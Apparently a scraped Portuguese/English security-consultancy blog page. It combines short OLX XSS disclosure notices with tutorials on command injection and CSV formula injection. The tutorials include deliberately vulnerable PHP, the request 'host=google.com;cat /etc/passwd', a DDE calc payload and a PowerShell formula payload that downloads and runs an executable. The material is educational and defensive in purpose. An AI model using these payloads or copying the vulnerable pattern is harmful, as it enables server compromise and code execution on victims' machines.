Reflected XSS at olx Romania

Reflected XSS at olx Ukraine

DOM Based XSS at olx Colombia

DOM Based XSS at olx Colombia

I contacted the OLX’s security team and they have fixed the issue

Worried about your security? Don’t hesitate to contact us if you need more information.

[contact-form-7 id=”849″ title=”CONTACT”]

DOM Based XSS no olx Colômbia

DOM Based XSS no olx Colômbia

Informei a equipe do olx sobre o problema e o mesmo já foi resolvido

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[contact-form-7 id=”171″ title=”Formulário de contato”]

Command Injection

Command Injection

O que é Command Injection?

Antes de começar a explicação, é bom lembrar que command injection e code injection são duas falhas diferentes. Basicamente command injection pode ocorrer, caso haja a interação de forma insegura, entre a aplicação web e o sistema operacional sobre o qual a aplicação estiver rodando. Essa interação pode ocorrer por exemplo, através de funções como o exec no PHP ou wscript.shell no ASP. A falha ocorre quando a aplicação envia comandos para o sistema operacional, juntamente com dados que o usuário enviar para a aplicação (através de formulários, cookies, HTTP headers etc) sem nenhum tipo de validação. Com isso, se a aplicação web em questão não realizar de forma correta a validação daquilo que o usuário enviar, a aplicação poderá ser atacada por um usuário malicioso, que irá injetar comandos de sistema operacional através do parâmetro vulnerável. Nesse ataque, o comando que o usuário malicioso enviar, será executado utilizando os privilégios que a aplicação web possuir. Geralmente aplicações web rodam com privilégios de servidor web(apache, tomcat…). Por exemplo, se o servidor web for o apache, o atacante terá privilégios do apache.

Mas o que isso significa exatamente?

Por exemplo, a aplicação web disponibiliza ao usuário um serviço de nslookup. Se a aplicação web não realizar de forma correta a verificação do valor passado para o nslookup, o usuário malicioso pode injetar comandos que serão executados com privilégios que a aplicação web vulnerável possuir, o que pode levar ao comprometimento total do sistema.

Exemplo prático de Command Injection

Vamos analizar o código abaixo:

<?php
   $host = 'google';
   if (isset( $_GET['host'] ) )
      $host = $_GET['host'];
   system("nslookup " . $host);
?>

<form method="get">
   <select name="host">
      <option value="google.com">google</option>
      <option value="yahoo.com">yahoo</option>
   </select>
   <input type="submit">
</form>

O código acima aceita a requisição via GET do parâmetro “host”, depois executa o nslookup e por fim exibe o resultado ao usuário. O importante aqui, é analisarmos como o valor passado para o parâmetro “host” é enviado direto para a função system() sem realizar nenhum tipo de filtro ou validação.

Uma requisição legítima seria algo como “http://website.com/cmd.php?host=google.com”, mas como vimos no código acima não existe nenhum tipo de filtro ou validação, ou seja, nada impede que o usuário malicioso tente a seguinte requisição “http://website.com/cmd.php?host=google.com;cat /etc/passwd”, o que irá fazer com que a aplicação web vulnerável retorne o conteúdo do arquivo passwd.

Aqueles familiarizados com linha de comando em ambiente Unix/Linux, sabem que podemos juntar comandos utilizando o “;“.

O ataque também pode ser realizado através do método POST. Nesse caso será necessário a utilização de ferramentas como o Burp Suite ou OwaspZap.

Lembre-se de que essa vulnerabilidade permite ao atacante executar comandos no servidor alvo, logo, um shell reverso pode causar um estrago maior ainda.

No exemplo a seguir iremos criar um shell reverso. Para facilitar vamos utilizar o Commix que é uma ferramenta muito útil na hora de encontrar e explorar falhas de command injection. Caso você não tenha a ferramenta, execute o comando: git clone https://github.com/commixproject/commix.git

Shell reverso com o Commix

No exemplo a seguir o IP 192.168.1.9 pertence ao servidor alvo e o IP 192.168.1.10 pertence ao atacante.

Referências:
resources.infosecinstitute.com/commix-an-automated-tool-for-command-injection/#gref
www.owasp.org/index.php/Command_Injection
The Web Application Hacker’s Handbook

_________________________________

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]

 

Stored XSS at olx South Africa messaging system

I contacted the OLX’s security team and they have fixed the issue

Worried about your security? Don’t hesitate to contact us if you need more information.

[contact-form-7 id=”849″ title=”CONTACT”]

XSS Persistente no sistema de mensagens olx África do Sul

XSS Persistente no sistema de mensagens olx África do Sul

Informei a equipe do olx sobre o problema e o mesmo já foi resolvido.

PREOCUPADO(A) SE SUA EMPRESA PODE ESTAR CORRENDO ESSE RISCO? ENTRE EM CONTATO AGORA MESMO

[contact-form-7 id=”171″ title=”Formulário de contato”]

CSV Injection

CSV Injection

O que é CSV Injection?

CSV Injection (Comma separated values) também conhecido como formula injection, ocorre quando o usuário malicioso consegue injetar caracteres arbitrários em formulários que serão exportados posteriormente para arquivos .CSV ou .XLS

Para que a falha ocorra, o campo no qual o usuário malicioso usou para injetar o payload precisa estar presente no arquivo exportado.

CSV injection tem como principal objetivo explorar o user trust, ou seja, explorar a confiança que o usuário tem na fonte da qual o arquivo foi baixado.

Como a falha de CSV Injection ocorre?

Tenho certeza que muitos de vocês já viram e usaram fórmulas no Excel, como por exemplo a função soma, que é usada para retornar o valor da soma de determinadas células ou argumentos.

Para executar fórmulas no Excel, o comando tem que começar com “=”, então o excel sabe que tem que executar algum tipo de função. Na imagem acima é possível ver que a função soma foi utilizada. Além disso, o Microsoft Office está usando um protocolo chamado DDE (Dynamic Data Exchange).

DDE é um protocolo de comunicação entre processos. Ele envia mensagens entre aplicativos que compartilham dados e usa memória compartilhada para trocar dados entre aplicativos, o mesmo também é suportado pelo apache OpenOffice e LibreOffice.

Supondo que a vítima abriu um arquivo .CSV ou .XLS contendo o payload, a primeira reação do Excel ao abrir o arquivo, será exibir a seguinte mensagem de alerta:

Como medida de segurança, a Microsoft decidiu adicionar alguns alertas antes de ativar a atualização automática de links, mas como o usuário confia na fonte de onde o arquivo foi baixado, logo ele(a) irá clicar no botão enable (habilitar), mostrado na imagem acima.

A imagem acima mostra um segundo alerta mais suspeito, pois diz que o Windows precisa de sua permissão para iniciar CMD.EXE

Vamos ao exemplo prático do CSV Injection

Vamos supor que um funcionário malicioso queira atacar o dono da empresa para a qual trabalha, através do CRM (Gestão de Relacionamento com o Cliente) que a empresa possui. O funcionário malicioso obviamente tem sua conta de acesso ao CRM da empresa. Se analizarmos a imagem abaixo é possível observar que o funcionário malicioso injetou =cmd|’  no campo First Name, e /C calc’!A0 no campo Last Name, fazendo com que o campo Full Name exiba o payload completo =cmd|’ /C calc’!A0

Ao analizarmos a próxima imagem, podemos ver que o funcionário malicioso criou um novo lead, e tanto o campo Owner quanto o campo Qualification Team mostram o payload que o funcionário malicioso injetou na imagem anterior.

A próxima imagem mostra que o lead foi salvo com sucesso, contendo o payload =cmd|’ /C calc’!A0 . Até agora ninguém foi atacado.

Como podemos ver na imagem a seguir, quando a vítima, no caso o(a) proprietário(a) da empresa exportar o relatório de leads através de um arquivo .XLS por exemplo, ao abrir o arquivo, o Excel (em versões anteriores) irá alertar o usuário com uma mensagem parecida com a da imagem abaixo. Vale lembrar que a vítima baixou o arquivo de uma fonte que ele(a) confia, logo, a vítima tende a ignorar a mensagem de alerta e acaba clicando no botão Enable (habilitar).

A imagem a seguir mostra a próxima mensagem de alerta que é exibida para a vítima. Vale lembrar novamente que a vítima baixou o arquivo de uma fonte na qual ele(a) confia, logo, ele(a) irá clicar no botão SIM.

E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.

No exemplo acima, foi utilizado um payload que abre apenas a calculadora do Windows, mas o funcionário malicioso pode fazer coisa muito pior.

Em versões mais recentes do Microsoft Office, o Excel além de exibir os alertas já mostrados, ele também irá exibir os alertas abaixo:

Ao clicar em opções, o Excel irá exibir a mensagem abaixo:

Após o usuário clicar no OK da mensagem acima, o Excel irá exibir a seguinte mensagem:

E por fim o arquivo será aberto e o payload será executado, causando a abertura da calculadora do Windows.

É claro que o payload utilizado, não traz nenhum risco para quem abrir o arquivo. Mas, se o funcionário malicioso utilizar o payload a seguir o que vai acontecer?

=cmd|’ /C powershell Invoke-WebRequest “http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe” -OutFile “$env:Temp\putty.exe”; Start-Process “$env:Temp\putty.exe”‘!A0

O payload acima irá baixar e executar o putty.exe na máquina da vítima.

Consegue enxergar o problema?

Como previnir CSV Injection?

Para que a falha não ocorra, é preciso que qualquer campo que será exportado para o arquivo .CSV ou .XLS, contenham apenas caracteres alfanuméricos.

 

Referências:
appsec-labs.com/portal/formula-injection/
contextis.com/resources/blog/comma-separated-vulnerabilities/
pentestmag.com/formula-injection/
blog.zsec.uk/csv-dangers-mitigations/
owasp.org/index.php/CSV_Excel_Macro_Injection

_________________________________

Preocupado(a) se sua empresa pode estar correndo esse risco? Entre em contato agora mesmo

[CONTACT_FORM_TO_EMAIL id=”1″]